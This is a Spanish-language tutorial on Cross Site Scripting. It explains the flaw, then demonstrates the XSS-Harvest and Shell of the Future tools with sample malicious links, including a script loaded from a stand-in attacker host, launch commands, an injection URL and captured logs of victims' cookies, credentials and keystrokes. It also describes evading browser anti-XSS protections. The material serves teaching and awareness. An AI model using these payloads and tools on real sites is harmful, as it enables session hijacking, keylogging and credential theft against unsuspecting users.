Cross Site Scripting es el nombre que recibe una vulnerabilidad que afecta no tanto a los servidores como a los usuarios que navegan a páginas de Internet.
La causa de la vulnerabilidad radica en la pobre verificación por parte de los sitios web de las cadenas de entrada enviadas por los usuarios a través de formularios, o directamente a través del URL. Estas cadenas, en el caso de ser maliciosas, podrían llegar a contener scripts completos.
Cuando esta entrada se le muestra dinámicamente a un usuario dentro de una página web, en caso de contener un script, éste se ejecutará en el navegador del usuario dentro del contexto de seguridad de la página web visitada. Como consecuencia, podrá realizar en el ordenador del usuario todas las acciones que le sean permitidas a ese sitio web, como por ejemplo interceptar entradas del usuario víctima o leer sus cookies.
Profundicemos en este tipo de ataque …
El mayor riesgo de este tipo de ataques es que la entrada maliciosa no la proporciona el mismo usuario que ve la página, sino un atacante, que consigue que el script se ejecute en el navegador del usuario. La víctima ejecuta el código de manera indirecta cuando confiadamente hace clic sobre un hiperenlace fraudulento, que puede estar presente en el sitio web del atacante, en un mensaje de correo electrónico o de un grupo de noticias, o en cualquier otro lugar que no levante sospechas. Debido a que en este caso la víctima es el visitante del sitio web y no el propio sitio, este tipo de vulnerabilidades no ha recibido la atención que de verdad se merece.
Por lo tanto, el cross site scripting funciona de la siguiente manera:
- El usuario sigue un enlace, que incluye codificada una cadena de entrada como argumento de entrada a algún parámetro de la página del sitio web.
- El sitio web no valida (o lo hace pobremente) la entrada anterior y genera dinámicamente una página HTML que incluye el código introducido en el hiperenlace por el atacante.
- Este código se ejecuta en el navegador de la víctima, con los mismos privilegios que cualquier otro código legítimo del mismo sitio web.
Un ejemplo de un hiperenlace malicioso tal sería:
<A HREF=»http://www.midireccion.com/comentarios.asp?texto='<SCRIPT>Código Malicioso</SCRIPT>'»>Información sobre agujeros</A>
Cuando el usuario siga el enlace, el sitio www.midireccion.com generará la página solicitada incluyendo el script, que se ejecutará en el navegador de la víctima.
El código podría incluso proceder de otro sitio web, ya que las vulnerabilidades de este tipo violan las políticas de los navegadores sobre mismo origen de fuente:
<A HREF=»http://www.midireccion.com/comentarios.asp?texto='<SCRIPT SRC=http://www.hackermalo.com/ataque.js></SCRIPT>'»>Información sobre agujeros</A>
Existen diferentes herramientas que son capaces de explotar vulnerabilidades de Cross Site Scripting para robar esas sesiones del usuario. Una de ellas es la recientemente publicada XSS-Harverst que facilita enormemente realizar ataques de XSS y que intenta concienciar sobre el impacto real que una vulnerabilidad de este tipo puede tener en una página web.
XSS-Harvest está escrito en lenguaje Perl y no ocupa más de 11 Kb. Con licencia GNU, no necesita de ningún servidor Web ni de motor de bases de datos para funcionar y, además, es multi-thread o multi-hilo, lo que le permite ejecutar tareas distintas a la vez y disponer de un gran rendimiento. Únicamente, al estar desarrollado en Perl, necesita de un intérprete del lenguaje independientemente de si es bajo Unix/Linux o Windows.
Entre las funcionalidades de XSS-Harvest destacan:
– Los scripts de infección añaden detectores para los eventos importantes como las pulsaciones del teclado o los clicks del ratón en la página Web vulnerable y establecen la comunicación con el sistema XSS-Harvest.
– Cualquier tecla que se pulse o cualquier click del ratón será analizado y enviado, de forma secreta, al servidor XSS-Harvest.
– De forma opcional, es posible redireccionar la página Web vulnerable para mostrar otra página diferente en el mismo subdominio, como, por ejemplo, un formulario de acceso.
– Realiza un seguimiento de las víctimas a través de las cookies para detectar futuras visitas a la página Web.
– Cada víctima tiene un archivo diferente con el histórico correspondiente que contiene todos los eventos, cookies y pulsaciones del teclado que se derivan de su visita por la página. El fichero se encuentra localizado dentro de donde se ejecuta XSS-Harvest en el directorio «history» y con el formato loquesea.txt.
– XSS-Harvest dispone de una consola que muestra los datos recibidos en tiempo real. – Funciona también con Internet Explorer 9 para ataques de Cross Site Scripting indirecto o reflejado, con Firefox 5, Google Chrome y con varios de los navegadores Web para dispositivos móviles como Safari y Android.
– Es capaz de evadir los métodos antiXSS de los navegadores como, por ejemplo, la regulación de peticiones de Internet Explorer a la misma dirección (URL) cuando se extraen datos de un equipo o el plugin NoScript de Firefox.
El funcionamiento, desde la línea de comandos, es muy sencillo y presenta diversas opciones con diferentes parámetros de ejecución (-l, -p y -r):
1 | XSS-harvest.pl -l http://web.vulnerable/login.html |
Lo primero es encontrar una página Web que presente alguna vulnerabilidad de Cross Site Scripting. Se puede verificar que la vulnerabilidad existe insertando la sentencia
Fig 1. Confirmación de la vulneravilidad de XSS en la página de Hacktimes.com
El puerto por defecto por el que escucha el servidor XSS-harvest es el 80 (HTTP) pero es posible definir cualquier puerto con el parámetro -p. En este caso, se define el puerto 8080 (opción -l de listener y -p para especificar el puerto utilizado):
1 | XSS-harvest.pl -l -p 8080 http://www.hacktimes.com/login.php |
***************************
* XSS-Harvest Server *
***************************
[INFO] Starting Server….
[INFO] History directory found.
2011/07/09-12:00:21 XSSHarvest::NetServer0 (type Net::Server::PreFork) starting! pid(11122)
Using default listen value of 128
Binding to TCP port 8080 on host http://www.hacktimes.com/login.php
…
Revisando el archivo de texto creado con el histórico de los eventos detectados se observan cosas como las siguientes:
1 2 3 4 5 6 | ************************************* [INFECTION] Sat Jul 9 12:01:11 2011 [IP] 192.168.1.23 [UID] [UA] Mozilla/50 (X11; Linux x86_32; rv:5.0) Gecko/20100101 Firefox/5.0 ************************************* |
*************************************
[PAGE_LOADED] Sat Jul 9 12:01:11 2011
[URL] http://www.hacktimes.com/infect.html
[COOKIES]
login=hacktimes
password=hacktimes
*************************************
*************************************
[DATA] Sat Jul 9 12:01:11 2011
[CLICK RECEIVED]
[COORDS] 111,11
[TAGNAME]INPUT
[NAME]fname
*************************************
…
Otra herramienta muy interesante y fácil de utilizar es Shell of the Future o SOTF (http://www.andlabs.org/tools/sotf/sotf.html) de la gente de Attack and Defense Labs que funciona bajo Windows. Al arrancar el programa se obtiene la siguiente pantalla donde lanzar y configurar la aplicación en modo proxy por el puerto por defecto 1337:
Fig 2. Inicio y configuración de la aplicación Shell of the Future
Dispone de consola Web que es accesible configurando un proxy local (127.0.0.1 y el puerto 1337) en el navegador Web y cargando la siguiente dirección en la barra de direccioneshttp://127.0.0.1/sotf.console:
Fig 3. Consola de Shell of the Future
A continuación, en la página vulnerable de hacktimes de antes, se inyecta el código malicioso javascript que incluye la propia herramienta Shell of the Future (e1.js o e2.js). Se han incluido dos scripts, uno bastante elemental (e1.js) y otro más completo (e2.js) que incluye un link invisible hacia el servidor SOTF y un capturador de eventos «onmousemove» para controlar el cursor en todo momento:
1 | http://www.hacktimes.com/login.php=<script src=http://127.0.0.1/e2.js></script> |
La consola ha cambiado y muestra la sesión que se acaba de robar del usuario desprevenido que está visitando la página vulnerable de hacktimes:
Fig 4. Consola de Shell of the Future donde se muestra una sesión de usuario robada
Fig 5. Desde la consola de SOTF se puede acceder a la sesión robada y se incluye un banner personalizable «Session Hijacked by…»
Shell of the Future no guarda históricos pero su facilidad de uso y que no precisa de instalación alguna lo convierten en una aplicación más que recomendable.
Para finalizar, este artículo solamente tiene propósitos didácticos. Me canso de repetir que es necesario conocer como funcionan, para prevenir, y proteger, pero nunca aplicarlo en usuarios y empresas. Comprendo y a veces sufro en mis carnes, el malestar ocasionado a los usuarios, por los ataques perpetrados por de individuos sin escrúpulo, que no calculan ni sopesan el daño que pueden llegar a realizar con sus acciones.
Referencias
Fuentes y referencias avanzadas sobre el tema en : http://www.hacktimes.com/
Detalle de la vulnerabilidad de Cross Site Scripting en la página de Wikipedia: http://es.wikipedia.org/wiki/XSS
